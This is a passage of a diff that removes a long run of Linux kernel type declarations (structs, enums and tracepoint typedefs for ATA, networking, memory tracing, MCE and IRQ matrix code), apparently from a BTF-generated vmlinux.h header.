ATA_HORKAGE_ZERO_AFTER_TRIM = 4194304, - ATA_HORKAGE_NO_DMA_LOG = 8388608, - ATA_HORKAGE_NOTRIM = 16777216, - ATA_HORKAGE_MAX_SEC_1024 = 33554432, - ATA_HORKAGE_MAX_TRIM_128M = 67108864, - ATA_HORKAGE_NO_NCQ_ON_ATI = 134217728, - ATA_HORKAGE_NO_ID_DEV_LOG = 268435456, - ATA_HORKAGE_NO_LOG_DIR = 536870912, - ATA_DMA_MASK_ATA = 1, - ATA_DMA_MASK_ATAPI = 2, - ATA_DMA_MASK_CFA = 4, - ATAPI_READ = 0, - ATAPI_WRITE = 1, - ATAPI_READ_CD = 2, - ATAPI_PASS_THRU = 3, - ATAPI_MISC = 4, - ATA_TIMING_SETUP = 1, - ATA_TIMING_ACT8B = 2, - ATA_TIMING_REC8B = 4, - ATA_TIMING_CYC8B = 8, - ATA_TIMING_8BIT = 14, - ATA_TIMING_ACTIVE = 16, - ATA_TIMING_RECOVER = 32, - ATA_TIMING_DMACK_HOLD = 64, - ATA_TIMING_CYCLE = 128, - ATA_TIMING_UDMA = 256, - ATA_TIMING_ALL = 511, - ATA_ACPI_FILTER_SETXFER = 1, - ATA_ACPI_FILTER_LOCK = 2, - ATA_ACPI_FILTER_DIPM = 4, - ATA_ACPI_FILTER_FPDMA_OFFSET = 8, - ATA_ACPI_FILTER_FPDMA_AA = 16, - ATA_ACPI_FILTER_DEFAULT = 7, -}; - -struct ps2pp_info { - u8 model; - u8 kind; - u16 features; -}; - -struct cpu_dbs_info { - u64 prev_cpu_idle; - u64 prev_update_time; - u64 prev_cpu_nice; - unsigned int prev_load; - struct update_util_data update_util; - struct policy_dbs_info *policy_dbs; -}; - -struct virtio_crypto_rsa_ctx { - MPI n; -}; - -struct virtio_crypto_akcipher_ctx { - struct crypto_engine_ctx enginectx; - struct virtio_crypto *vcrypto; - struct crypto_akcipher *tfm; - bool session_valid; - __u64 session_id; - union { - struct virtio_crypto_rsa_ctx rsa_ctx; - }; -}; - -struct virtio_crypto_akcipher_request { - struct virtio_crypto_request base; - struct virtio_crypto_akcipher_ctx *akcipher_ctx; - struct akcipher_request *akcipher_req; - void *src_buf; - void *dst_buf; - uint32_t opcode; -}; - -struct virtio_crypto_akcipher_algo { - uint32_t algonum; - uint32_t service; - unsigned int active_devs; - struct akcipher_alg algo; -}; - -enum flow_dissect_ret { - FLOW_DISSECT_RET_OUT_GOOD = 0, - FLOW_DISSECT_RET_OUT_BAD = 1, - FLOW_DISSECT_RET_PROTO_AGAIN = 2, - FLOW_DISSECT_RET_IPPROTO_AGAIN = 3, - FLOW_DISSECT_RET_CONTINUE = 4, -}; - -struct flow_keys_digest { - u8 data[16]; -}; - -enum { - BPF_FLOW_DISSECTOR_F_PARSE_1ST_FRAG = 1, - BPF_FLOW_DISSECTOR_F_STOP_AT_FLOW_LABEL = 2, - BPF_FLOW_DISSECTOR_F_STOP_AT_ENCAP = 4, -}; - -struct gre_full_hdr { - struct gre_base_hdr fixed_header; - __be16 csum; - __be16 reserved1; - __be32 key; - __be32 seq; -}; - -struct pptp_gre_header { - struct gre_base_hdr gre_hd; - __be16 payload_len; - __be16 call_id; - __be32 seq; - __be32 ack; -}; - -struct tipc_basic_hdr { - __be32 w[4]; -}; - -struct pppoe_tag { - __be16 tag_type; - __be16 tag_len; - char tag_data[0]; -}; - -struct pppoe_hdr { - __u8 type: 4; - __u8 ver: 4; - __u8 code; - __be16 sid; - __be16 length; - struct pppoe_tag tag[0]; -}; - -struct hsr_tag { - __be16 path_and_LSDU_size; - __be16 sequence_nr; - __be16 encap_proto; -}; - -struct mpls_label { - __be32 entry; -}; - -enum batadv_packettype { - BATADV_IV_OGM = 0, - BATADV_BCAST = 1, - BATADV_CODED = 2, - BATADV_ELP = 3, - BATADV_OGM2 = 4, - BATADV_UNICAST = 64, - BATADV_UNICAST_FRAG = 65, - BATADV_UNICAST_4ADDR = 66, - BATADV_ICMP = 67, - BATADV_UNICAST_TVLV = 68, -}; - -struct batadv_unicast_packet { - __u8 packet_type; - __u8 version; - __u8 ttl; - __u8 ttvn; - __u8 dest[6]; -}; - -struct _flow_keys_digest_data { - __be16 n_proto; - u8 ip_proto; - u8 padding; - __be32 ports; - __be32 src; - __be32 dst; -}; - -struct xfrm4_protocol { - int (*handler)(struct sk_buff *); - int (*input_handler)(struct sk_buff *, int, __be32, int); - int (*cb_handler)(struct sk_buff *, int); - int (*err_handler)(struct sk_buff *, u32); - struct xfrm4_protocol *next; - int priority; -}; - -struct fprop_local_single { - long unsigned int events; - unsigned int period; - raw_spinlock_t lock; -}; - -typedef struct { - long unsigned int key[2]; -} hsiphash_key_t; - -struct mpf_intel { - char signature[4]; - unsigned int physptr; - unsigned char length; - unsigned char specification; - unsigned char checksum; - unsigned char feature1; - unsigned char feature2; - unsigned char feature3; - unsigned char feature4; - unsigned char feature5; -}; - -struct mpc_table { - char signature[4]; - short unsigned int length; - char spec; - char checksum; - char oem[8]; - char productid[12]; - unsigned int oemptr; - short unsigned int oemsize; - short unsigned int oemcount; - unsigned int lapic; - unsigned int reserved; -}; - -struct mpc_cpu { - unsigned char type; - unsigned char apicid; - unsigned char apicver; - unsigned char cpuflag; - unsigned int cpufeature; - unsigned int featureflag; - unsigned int reserved[2]; -}; - -struct mpc_bus { - unsigned char type; - unsigned char busid; - unsigned char bustype[6]; -}; - -struct mpc_lintsrc { - unsigned char type; - unsigned char irqtype; - short unsigned int irqflag; - unsigned char srcbusid; - unsigned char srcbusirq; - unsigned char destapic; - unsigned char destapiclint; -}; - -enum { - AFFINITY = 0, - AFFINITY_LIST = 1, - EFFECTIVE = 2, - EFFECTIVE_LIST = 3, -}; - -typedef struct sigevent sigevent_t; - -enum rseq_cpu_id_state { - RSEQ_CPU_ID_UNINITIALIZED = -1, - RSEQ_CPU_ID_REGISTRATION_FAILED = -2, -}; - -enum rseq_flags { - RSEQ_FLAG_UNREGISTER = 1, -}; - -enum rseq_cs_flags { - RSEQ_CS_FLAG_NO_RESTART_ON_PREEMPT = 1, - RSEQ_CS_FLAG_NO_RESTART_ON_SIGNAL = 2, - RSEQ_CS_FLAG_NO_RESTART_ON_MIGRATE = 4, -}; - -struct rseq_cs { - __u32 version; - __u32 flags; - __u64 start_ip; - __u64 post_commit_offset; - __u64 abort_ip; -}; - -struct trace_event_raw_rseq_update { - struct trace_entry ent; - s32 cpu_id; - char __data[0]; -}; - -struct trace_event_raw_rseq_ip_fixup { - struct trace_entry ent; - long unsigned int regs_ip; - long unsigned int start_ip; - long unsigned int post_commit_offset; - long unsigned int abort_ip; - char __data[0]; -}; - -struct trace_event_data_offsets_rseq_update {}; - -struct trace_event_data_offsets_rseq_ip_fixup {}; - -typedef void (*btf_trace_rseq_update)(void *, struct task_struct *); - -typedef void (*btf_trace_rseq_ip_fixup)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); - -struct kmalloc_info_struct { - const char *name[4]; - unsigned int size; -}; - -struct trace_event_raw_kmem_cache_alloc { - struct trace_entry ent; - long unsigned int call_site; - const void *ptr; - size_t bytes_req; - size_t bytes_alloc; - long unsigned int gfp_flags; - int node; - bool accounted; - char __data[0]; -}; - -struct trace_event_raw_kmalloc { - struct trace_entry ent; - long unsigned int call_site; - const void *ptr; - size_t bytes_req; - size_t bytes_alloc; - long unsigned int gfp_flags; - int node; - char __data[0]; -}; - -struct trace_event_raw_kfree { - struct trace_entry ent; - long unsigned int call_site; - const void *ptr; - char __data[0]; -}; - -struct trace_event_raw_kmem_cache_free { - struct trace_entry ent; - long unsigned int call_site; - const void *ptr; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_mm_page_free { - struct trace_entry ent; - long unsigned int pfn; - unsigned int order; - char __data[0]; -}; - -struct trace_event_raw_mm_page_free_batched { - struct trace_entry ent; - long unsigned int pfn; - char __data[0]; -}; - -struct trace_event_raw_mm_page_alloc { - struct trace_entry ent; - long unsigned int pfn; - unsigned int order; - long unsigned int gfp_flags; - int migratetype; - char __data[0]; -}; - -struct trace_event_raw_mm_page { - struct trace_entry ent; - long unsigned int pfn; - unsigned int order; - int migratetype; - int percpu_refill; - char __data[0]; -}; - -struct trace_event_raw_mm_page_pcpu_drain { - struct trace_entry ent; - long unsigned int pfn; - unsigned int order; - int migratetype; - char __data[0]; -}; - -struct trace_event_raw_mm_page_alloc_extfrag { - struct trace_entry ent; - long unsigned int pfn; - int alloc_order; - int fallback_order; - int alloc_migratetype; - int fallback_migratetype; - int change_ownership; - char __data[0]; -}; - -struct trace_event_raw_rss_stat { - struct trace_entry ent; - unsigned int mm_id; - unsigned int curr; - int member; - long int size; - char __data[0]; -}; - -struct trace_event_data_offsets_kmem_cache_alloc {}; - -struct trace_event_data_offsets_kmalloc {}; - -struct trace_event_data_offsets_kfree {}; - -struct trace_event_data_offsets_kmem_cache_free { - u32 name; -}; - -struct trace_event_data_offsets_mm_page_free {}; - -struct trace_event_data_offsets_mm_page_free_batched {}; - -struct trace_event_data_offsets_mm_page_alloc {}; - -struct trace_event_data_offsets_mm_page {}; - -struct trace_event_data_offsets_mm_page_pcpu_drain {}; - -struct trace_event_data_offsets_mm_page_alloc_extfrag {}; - -struct trace_event_data_offsets_rss_stat {}; - -typedef void (*btf_trace_kmem_cache_alloc)(void *, long unsigned int, const void *, struct kmem_cache *, gfp_t, int); - -typedef void (*btf_trace_kmalloc)(void *, long unsigned int, const void *, size_t, size_t, gfp_t, int); - -typedef void (*btf_trace_kfree)(void *, long unsigned int, const void *); - -typedef void (*btf_trace_kmem_cache_free)(void *, long unsigned int, const void *, const struct kmem_cache *); - -typedef void (*btf_trace_mm_page_free)(void *, struct page *, unsigned int); - -typedef void (*btf_trace_mm_page_free_batched)(void *, struct page *); - -typedef void (*btf_trace_mm_page_alloc)(void *, struct page *, unsigned int, gfp_t, int); - -typedef void (*btf_trace_mm_page_alloc_zone_locked)(void *, struct page *, unsigned int, int, int); - -typedef void (*btf_trace_mm_page_pcpu_drain)(void *, struct page *, unsigned int, int); - -typedef void (*btf_trace_mm_page_alloc_extfrag)(void *, struct page *, int, int, int, int); - -typedef void (*btf_trace_rss_stat)(void *, struct mm_struct *, int, long int); - -struct kernfs_global_locks { - struct mutex open_file_mutex[1024]; -}; - -struct mmp_struct { - __le32 mmp_magic; - __le32 mmp_seq; - __le64 mmp_time; - char mmp_nodename[64]; - char mmp_bdevname[32]; - __le16 mmp_check_interval; - __le16 mmp_pad1; - __le32 mmp_pad2[226]; - __le32 mmp_checksum; -}; - -struct queue_sysfs_entry { - struct attribute attr; - ssize_t (*show)(struct request_queue *, char *); - ssize_t (*store)(struct request_queue *, const char *, size_t); -}; - -struct pci_filp_private { - enum pci_mmap_state mmap_state; - int write_combine; -}; - -struct acpi_pci_link_irq { - u32 active; - u8 triggering; - u8 polarity; - u8 resource_type; - u8 possible_count; - u32 possible[16]; - u8 initialized: 1; - u8 reserved: 7; -}; - -struct acpi_pci_link { - struct list_head list; - struct acpi_device *device; - struct acpi_pci_link_irq irq; - int refcnt; -}; - -struct container_dev { - struct device dev; - int (*offline)(struct container_dev *); -}; - -struct agp_device_ids { - short unsigned int device_id; - enum chipset_type chipset; - const char *chipset_name; - int (*chipset_setup)(struct pci_dev *); -}; - -struct lifebook_data { - struct input_dev *dev2; - char phys[32]; -}; - -struct powerclamp_worker_data { - struct kthread_worker *worker; - struct kthread_work balancing_work; - struct kthread_delayed_work idle_injection_work; - unsigned int cpu; - unsigned int count; - unsigned int guard; - unsigned int window_size_now; - unsigned int target_ratio; - unsigned int duration_jiffies; - bool clamping; -}; - -struct powerclamp_calibration_data { - long unsigned int confidence; - long unsigned int steady_comp; - long unsigned int dynamic_comp; -}; - -struct pkg_cstate_info { - bool skip; - int msr_index; - int cstate_id; -}; - -enum { - SK_DIAG_BPF_STORAGE_REQ_NONE = 0, - SK_DIAG_BPF_STORAGE_REQ_MAP_FD = 1, - __SK_DIAG_BPF_STORAGE_REQ_MAX = 2, -}; - -enum { - SK_DIAG_BPF_STORAGE_REP_NONE = 0, - SK_DIAG_BPF_STORAGE = 1, - __SK_DIAG_BPF_STORAGE_REP_MAX = 2, -}; - -enum { - SK_DIAG_BPF_STORAGE_NONE = 0, - SK_DIAG_BPF_STORAGE_PAD = 1, - SK_DIAG_BPF_STORAGE_MAP_ID = 2, - SK_DIAG_BPF_STORAGE_MAP_VALUE = 3, - __SK_DIAG_BPF_STORAGE_MAX = 4, -}; - -typedef u64 (*btf_bpf_sk_storage_get)(struct bpf_map *, struct sock *, void *, u64, gfp_t); - -typedef u64 (*btf_bpf_sk_storage_delete)(struct bpf_map *, struct sock *); - -typedef u64 (*btf_bpf_sk_storage_get_tracing)(struct bpf_map *, struct sock *, void *, u64, gfp_t); - -typedef u64 (*btf_bpf_sk_storage_delete_tracing)(struct bpf_map *, struct sock *); - -struct bpf_sk_storage_diag { - u32 nr_maps; - struct bpf_map *maps[0]; -}; - -struct bpf_iter_seq_sk_storage_map_info { - struct bpf_map *map; - unsigned int bucket_id; - unsigned int skip_elems; -}; - -struct bpf_iter__bpf_sk_storage_map { - union { - struct bpf_iter_meta *meta; - }; - union { - struct bpf_map *map; - }; - union { - struct sock *sk; - }; - union { - void *value; - }; -}; - -enum nfqnl_msg_types { - NFQNL_MSG_PACKET = 0, - NFQNL_MSG_VERDICT = 1, - NFQNL_MSG_CONFIG = 2, - NFQNL_MSG_VERDICT_BATCH = 3, - NFQNL_MSG_MAX = 4, -}; - -struct nfqnl_msg_packet_hdr { - __be32 packet_id; - __be16 hw_protocol; - __u8 hook; -} __attribute__((packed)); - -struct nfqnl_msg_packet_hw { - __be16 hw_addrlen; - __u16 _pad; - __u8 hw_addr[8]; -}; - -struct nfqnl_msg_packet_timestamp { - __be64 sec; - __be64 usec; -}; - -enum nfqnl_vlan_attr { - NFQA_VLAN_UNSPEC = 0, - NFQA_VLAN_PROTO = 1, - NFQA_VLAN_TCI = 2, - __NFQA_VLAN_MAX = 3, -}; - -enum nfqnl_attr_type { - NFQA_UNSPEC = 0, - NFQA_PACKET_HDR = 1, - NFQA_VERDICT_HDR = 2, - NFQA_MARK = 3, - NFQA_TIMESTAMP = 4, - NFQA_IFINDEX_INDEV = 5, - NFQA_IFINDEX_OUTDEV = 6, - NFQA_IFINDEX_PHYSINDEV = 7, - NFQA_IFINDEX_PHYSOUTDEV = 8, - NFQA_HWADDR = 9, - NFQA_PAYLOAD = 10, - NFQA_CT = 11, - NFQA_CT_INFO = 12, - NFQA_CAP_LEN = 13, - NFQA_SKB_INFO = 14, - NFQA_EXP = 15, - NFQA_UID = 16, - NFQA_GID = 17, - NFQA_SECCTX = 18, - NFQA_VLAN = 19, - NFQA_L2HDR = 20, - NFQA_PRIORITY = 21, - __NFQA_MAX = 22, -}; - -struct nfqnl_msg_verdict_hdr { - __be32 verdict; - __be32 id; -}; - -enum nfqnl_msg_config_cmds { - NFQNL_CFG_CMD_NONE = 0, - NFQNL_CFG_CMD_BIND = 1, - NFQNL_CFG_CMD_UNBIND = 2, - NFQNL_CFG_CMD_PF_BIND = 3, - NFQNL_CFG_CMD_PF_UNBIND = 4, -}; - -struct nfqnl_msg_config_cmd { - __u8 command; - __u8 _pad; - __be16 pf; -}; - -enum nfqnl_config_mode { - NFQNL_COPY_NONE = 0, - NFQNL_COPY_META = 1, - NFQNL_COPY_PACKET = 2, -}; - -struct nfqnl_msg_config_params { - __be32 copy_range; - __u8 copy_mode; -} __attribute__((packed)); - -enum nfqnl_attr_config { - NFQA_CFG_UNSPEC = 0, - NFQA_CFG_CMD = 1, - NFQA_CFG_PARAMS = 2, - NFQA_CFG_QUEUE_MAXLEN = 3, - NFQA_CFG_MASK = 4, - NFQA_CFG_FLAGS = 5, - __NFQA_CFG_MAX = 6, -}; - -struct nfqnl_instance { - struct hlist_node hlist; - struct callback_head rcu; - u32 peer_portid; - unsigned int queue_maxlen; - unsigned int copy_range; - unsigned int queue_dropped; - unsigned int queue_user_dropped; - u_int16_t queue_num; - u_int8_t copy_mode; - u_int32_t flags; - spinlock_t lock; - unsigned int queue_total; - unsigned int id_sequence; - struct list_head queue_list; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -typedef int (*nfqnl_cmpfn)(struct nf_queue_entry *, long unsigned int); - -struct nfnl_queue_net { - spinlock_t instances_lock; - struct hlist_head instance_table[16]; -}; - -typedef struct sk_buff * (*gro_receive_sk_t)(struct sock *, struct list_head *, struct sk_buff *); - -struct ip6fl_iter_state { - struct seq_net_private p; - struct pid_namespace *pid_ns; - int bucket; -}; - -enum { - MPTCP_PM_ADDR_ATTR_UNSPEC = 0, - MPTCP_PM_ADDR_ATTR_FAMILY = 1, - MPTCP_PM_ADDR_ATTR_ID = 2, - MPTCP_PM_ADDR_ATTR_ADDR4 = 3, - MPTCP_PM_ADDR_ATTR_ADDR6 = 4, - MPTCP_PM_ADDR_ATTR_PORT = 5, - MPTCP_PM_ADDR_ATTR_FLAGS = 6, - MPTCP_PM_ADDR_ATTR_IF_IDX = 7, - __MPTCP_PM_ADDR_ATTR_MAX = 8, -}; - -enum { - MPTCP_PM_CMD_UNSPEC = 0, - MPTCP_PM_CMD_ADD_ADDR = 1, - MPTCP_PM_CMD_DEL_ADDR = 2, - MPTCP_PM_CMD_GET_ADDR = 3, - MPTCP_PM_CMD_FLUSH_ADDRS = 4, - MPTCP_PM_CMD_SET_LIMITS = 5, - MPTCP_PM_CMD_GET_LIMITS = 6, - MPTCP_PM_CMD_SET_FLAGS = 7, - MPTCP_PM_CMD_ANNOUNCE = 8, - MPTCP_PM_CMD_REMOVE = 9, - MPTCP_PM_CMD_SUBFLOW_CREATE = 10, - MPTCP_PM_CMD_SUBFLOW_DESTROY = 11, - __MPTCP_PM_CMD_AFTER_LAST = 12, -}; - -enum mptcp_event_attr { - MPTCP_ATTR_UNSPEC = 0, - MPTCP_ATTR_TOKEN = 1, - MPTCP_ATTR_FAMILY = 2, - MPTCP_ATTR_LOC_ID = 3, - MPTCP_ATTR_REM_ID = 4, - MPTCP_ATTR_SADDR4 = 5, - MPTCP_ATTR_SADDR6 = 6, - MPTCP_ATTR_DADDR4 = 7, - MPTCP_ATTR_DADDR6 = 8, - MPTCP_ATTR_SPORT = 9, - MPTCP_ATTR_DPORT = 10, - MPTCP_ATTR_BACKUP = 11, - MPTCP_ATTR_ERROR = 12, - MPTCP_ATTR_FLAGS = 13, - MPTCP_ATTR_TIMEOUT = 14, - MPTCP_ATTR_IF_IDX = 15, - MPTCP_ATTR_RESET_REASON = 16, - MPTCP_ATTR_RESET_FLAGS = 17, - MPTCP_ATTR_SERVER_SIDE = 18, - __MPTCP_ATTR_AFTER_LAST = 19, -}; - -struct mptcp_pm_add_entry { - struct list_head list; - struct mptcp_addr_info addr; - struct timer_list add_timer; - struct mptcp_sock *sock; - u8 retrans_times; -}; - -struct pm_nl_pernet { - spinlock_t lock; - struct list_head local_addr_list; - unsigned int addrs; - unsigned int stale_loss_cnt; - unsigned int add_addr_signal_max; - unsigned int add_addr_accept_max; - unsigned int local_addr_max; - unsigned int subflows_max; - unsigned int next_id; - long unsigned int id_bitmap[4]; -}; - -enum psc_op { - SNP_PAGE_STATE_PRIVATE = 1, - SNP_PAGE_STATE_SHARED = 2, -}; - -enum severity_level { - MCE_NO_SEVERITY = 0, - MCE_DEFERRED_SEVERITY = 1, - MCE_UCNA_SEVERITY = 1, - MCE_KEEP_SEVERITY = 2, - MCE_SOME_SEVERITY = 3, - MCE_AO_SEVERITY = 4, - MCE_UC_SEVERITY = 5, - MCE_AR_SEVERITY = 6, - MCE_PANIC_SEVERITY = 7, -}; - -struct mca_config { - __u64 lmce_disabled: 1; - __u64 disabled: 1; - __u64 ser: 1; - __u64 recovery: 1; - __u64 bios_cmci_threshold: 1; - __u64 initialized: 1; - __u64 __reserved: 58; - bool dont_log_ce; - bool cmci_disabled; - bool ignore_ce; - bool print_all; - int monarch_timeout; - int panic_timeout; - u32 rip_msr; - s8 bootlog; -}; - -struct mce_vendor_flags { - __u64 overflow_recov: 1; - __u64 succor: 1; - __u64 smca: 1; - __u64 amd_threshold: 1; - __u64 p5: 1; - __u64 winchip: 1; - __u64 snb_ifu_quirk: 1; - __u64 skx_repmov_quirk: 1; - __u64 __reserved_0: 56; -}; - -enum context___2 { - IN_KERNEL = 1, - IN_USER = 2, - IN_KERNEL_RECOV = 3, -}; - -enum ser { - SER_REQUIRED = 1, - NO_SER = 2, -}; - -enum exception { - EXCP_CONTEXT = 1, - NO_EXCP = 2, -}; - -struct severity { - u64 mask; - u64 result; - unsigned char sev; - unsigned char mcgmask; - unsigned char mcgres; - unsigned char ser; - unsigned char context; - unsigned char excp; - unsigned char covered; - unsigned char cpu_model; - unsigned char cpu_minstepping; - unsigned char bank_lo; - unsigned char bank_hi; - char *msg; -}; - -struct jit_context { - int cleanup_addr; - int tail_call_direct_label; - int tail_call_indirect_label; -}; - -struct x64_jit_data { - struct bpf_binary_header *rw_header; - struct bpf_binary_header *header; - int *addrs; - u8 *image; - int proglen; - struct jit_context ctx; -}; - -struct trace_event_raw_test_pages_isolated { - struct trace_entry ent; - long unsigned int start_pfn; - long unsigned int end_pfn; - long unsigned int fin_pfn; - char __data[0]; -}; - -struct trace_event_data_offsets_test_pages_isolated {}; - -typedef void (*btf_trace_test_pages_isolated)(void *, long unsigned int, long unsigned int, long unsigned int); - -struct dentry_stat_t { - long int nr_dentry; - long int nr_unused; - long int age_limit; - long int want_pages; - long int nr_negative; - long int dummy; -}; - -struct external_name { - union { - atomic_t count; - struct callback_head head; - } u; - unsigned char name[0]; -}; - -enum d_walk_ret { - D_WALK_CONTINUE = 0, - D_WALK_QUIT = 1, - D_WALK_NORETRY = 2, - D_WALK_SKIP = 3, -}; - -struct check_mount { - struct vfsmount *mnt; - unsigned int mounted; -}; - -struct select_data { - struct dentry *start; - union { - long int found; - struct dentry *victim; - }; - struct list_head dispose; -}; - -struct posix_acl_xattr_entry { - __le16 e_tag; - __le16 e_perm; - __le32 e_id; -}; - -struct posix_acl_xattr_header { - __le32 a_version; -}; - -struct sg_pool { - size_t size; - char *name; - struct kmem_cache *slab; - mempool_t *pool; -}; - -struct acpi_lpat { - int temp; - int raw; -}; - -struct acpi_lpat_conversion_table { - struct acpi_lpat *lpat; - int lpat_count; -}; - -typedef acpi_status (*acpi_execute_op)(struct acpi_walk_state *); - -struct class_attribute_string { - struct class_attribute attr; - char *str; -}; - -struct class_compat { - struct kobject *kobj; -}; - -struct net_failover_info { - struct net_device *primary_dev; - struct net_device *standby_dev; - struct rtnl_link_stats64 primary_stats; - struct rtnl_link_stats64 standby_stats; - struct rtnl_link_stats64 failover_stats; - spinlock_t stats_lock; -}; - -struct a4tech_sc { - long unsigned int quirks; - unsigned int hw_wheel; - __s32 delayed_value; -}; - -enum { - CTRL_CMD_UNSPEC = 0, - CTRL_CMD_NEWFAMILY = 1, - CTRL_CMD_DELFAMILY = 2, - CTRL_CMD_GETFAMILY = 3, - CTRL_CMD_NEWOPS = 4, - CTRL_CMD_DELOPS = 5, - CTRL_CMD_GETOPS = 6, - CTRL_CMD_NEWMCAST_GRP = 7, - CTRL_CMD_DELMCAST_GRP = 8, - CTRL_CMD_GETMCAST_GRP = 9, - CTRL_CMD_GETPOLICY = 10, - __CTRL_CMD_MAX = 11, -}; - -enum { - CTRL_ATTR_UNSPEC = 0, - CTRL_ATTR_FAMILY_ID = 1, - CTRL_ATTR_FAMILY_NAME = 2, - CTRL_ATTR_VERSION = 3, - CTRL_ATTR_HDRSIZE = 4, - CTRL_ATTR_MAXATTR = 5, - CTRL_ATTR_OPS = 6, - CTRL_ATTR_MCAST_GROUPS = 7, - CTRL_ATTR_POLICY = 8, - CTRL_ATTR_OP_POLICY = 9, - CTRL_ATTR_OP = 10, - __CTRL_ATTR_MAX = 11, -}; - -enum { - CTRL_ATTR_OP_UNSPEC = 0, - CTRL_ATTR_OP_ID = 1, - CTRL_ATTR_OP_FLAGS = 2, - __CTRL_ATTR_OP_MAX = 3, -}; - -enum { - CTRL_ATTR_MCAST_GRP_UNSPEC = 0, - CTRL_ATTR_MCAST_GRP_NAME = 1, - CTRL_ATTR_MCAST_GRP_ID = 2, - __CTRL_ATTR_MCAST_GRP_MAX = 3, -}; - -enum { - CTRL_ATTR_POLICY_UNSPEC = 0, - CTRL_ATTR_POLICY_DO = 1, - CTRL_ATTR_POLICY_DUMP = 2, - __CTRL_ATTR_POLICY_DUMP_MAX = 3, - CTRL_ATTR_POLICY_DUMP_MAX = 2, -}; - -struct genl_op_iter { - const struct genl_family *family; - struct genl_split_ops doit; - struct genl_split_ops dumpit; - int cmd_idx; - int entry_idx; - u32 cmd; - u8 flags; -}; - -struct genl_start_context { - const struct genl_family *family; - struct nlmsghdr *nlh; - struct netlink_ext_ack *extack; - const struct genl_split_ops *ops; - int hdrlen; -}; - -struct netlink_policy_dump_state; - -struct ctrl_dump_policy_ctx { - struct netlink_policy_dump_state *state; - const struct genl_family *rt; - struct genl_op_iter *op_iter; - u32 op; - u16 fam_id; - u8 dump_map: 1; - u8 single_op: 1; -}; - -enum { - SEG6_IPTUNNEL_UNSPEC = 0, - SEG6_IPTUNNEL_SRH = 1, - __SEG6_IPTUNNEL_MAX = 2, -}; - -struct seg6_iptunnel_encap { - int mode; - struct ipv6_sr_hdr srh[0]; -}; - -enum { - SEG6_IPTUN_MODE_INLINE = 0, - SEG6_IPTUN_MODE_ENCAP = 1, - SEG6_IPTUN_MODE_L2ENCAP = 2, - SEG6_IPTUN_MODE_ENCAP_RED = 3, - SEG6_IPTUN_MODE_L2ENCAP_RED = 4, -}; - -struct seg6_lwt { - struct dst_cache cache; - struct seg6_iptunnel_encap tuninfo[0]; -}; - -enum format_type { - FORMAT_TYPE_NONE = 0, - FORMAT_TYPE_WIDTH = 1, - FORMAT_TYPE_PRECISION = 2, - FORMAT_TYPE_CHAR = 3, - FORMAT_TYPE_STR = 4, - FORMAT_TYPE_PTR = 5, - FORMAT_TYPE_PERCENT_CHAR = 6, - FORMAT_TYPE_INVALID = 7, - FORMAT_TYPE_LONG_LONG = 8, - FORMAT_TYPE_ULONG = 9, - FORMAT_TYPE_LONG = 10, - FORMAT_TYPE_UBYTE = 11, - FORMAT_TYPE_BYTE = 12, - FORMAT_TYPE_USHORT = 13, - FORMAT_TYPE_SHORT = 14, - FORMAT_TYPE_UINT = 15, - FORMAT_TYPE_INT = 16, - FORMAT_TYPE_SIZE_T = 17, - FORMAT_TYPE_PTRDIFF = 18, -}; - -struct printf_spec { - unsigned int type: 8; - int field_width: 24; - unsigned int flags: 8; - unsigned int base: 8; - int precision: 16; -}; - -struct page_flags_fields { - int width; - int shift; - int mask; - const struct printf_spec *spec; - const char *name; -}; - -enum align_flags { - ALIGN_VA_32 = 1, - ALIGN_VA_64 = 2, -}; - -struct va_alignment { - int flags; - long unsigned int mask; - long unsigned int bits; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct cpa_data { - long unsigned int *vaddr; - pgd_t *pgd; - pgprot_t mask_set; - pgprot_t mask_clr; - long unsigned int numpages; - long unsigned int curpage; - long unsigned int pfn; - unsigned int flags; - unsigned int force_split: 1; - unsigned int force_static_prot: 1; - unsigned int force_flush_all: 1; - struct page **pages; -}; - -enum cpa_warn { - CPA_CONFLICT = 0, - CPA_PROTECT = 1, - CPA_DETECT = 2, -}; - -struct cpumap { - unsigned int available; - unsigned int allocated; - unsigned int managed; - unsigned int managed_allocated; - bool initialized; - bool online; - long unsigned int alloc_map[4]; - long unsigned int managed_map[4]; -}; - -struct irq_matrix { - unsigned int matrix_bits; - unsigned int alloc_start; - unsigned int alloc_end; - unsigned int alloc_size; - unsigned int global_available; - unsigned int global_reserved; - unsigned int systembits_inalloc; - unsigned int total_allocated; - unsigned int online_maps; - struct cpumap *maps; - long unsigned int scratch_map[4]; - long unsigned int system_map[4]; -}; - -struct trace_event_raw_irq_matrix_global { - struct trace_entry ent; - unsigned int online_maps; - unsigned int global_available; - unsigned int global_reserved; - unsigned int total_allocated; - char __data[0]; -}; - -struct trace_event_raw_irq_matrix_global_update { - struct trace_entry ent; - int bit; - unsigned int online_maps; - unsigned int global_available; - unsigned int global_reserved; - unsigned int total_allocated; - char __data[0]; -}; - -struct trace_event_raw_irq_matrix_cpu { - struct trace_entry ent; - int bit; - unsigned int cpu; - bool online; - unsigned int available; - unsigned int allocated; - unsigned int managed; - unsigned int online_maps; - unsigned int global_available; - unsigned int global_reserved; - unsigned int total_allocated; - char __data[0]; -}; - -struct trace_event_data_offsets_irq_matrix_global {}; - -struct trace_event_data_offsets_irq_matrix_global_update {}; - -struct trace_event_data_offsets_irq_matrix_cpu {}; - -typedef void (*btf_trace_irq_matrix_online)(void *, struct irq_matrix *); - -typedef void (*btf_trace_irq_matrix_offline)(void *, struct irq_matrix *); - -typedef void (*btf_trace_irq_matrix_reserve)(void *, struct irq_matrix *); - -typedef void (*btf_trace_irq_matrix_remove_reserved)(void *, struct irq_matrix *); - -typedef void (*btf_trace_irq_matrix_assign_system)(void *, int, struct irq_matrix *); - -typedef void (*btf_trace_irq_matrix_alloc_reserved)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); - -typedef void (*btf_trace_irq_matrix_reserve_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); - -typedef void (*btf_trace_irq_matrix_remove_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); - -typedef void (*btf_trace_irq_matrix_alloc_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); - -typedef void (*btf_trace_irq_matrix_assign)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); - -typedef void 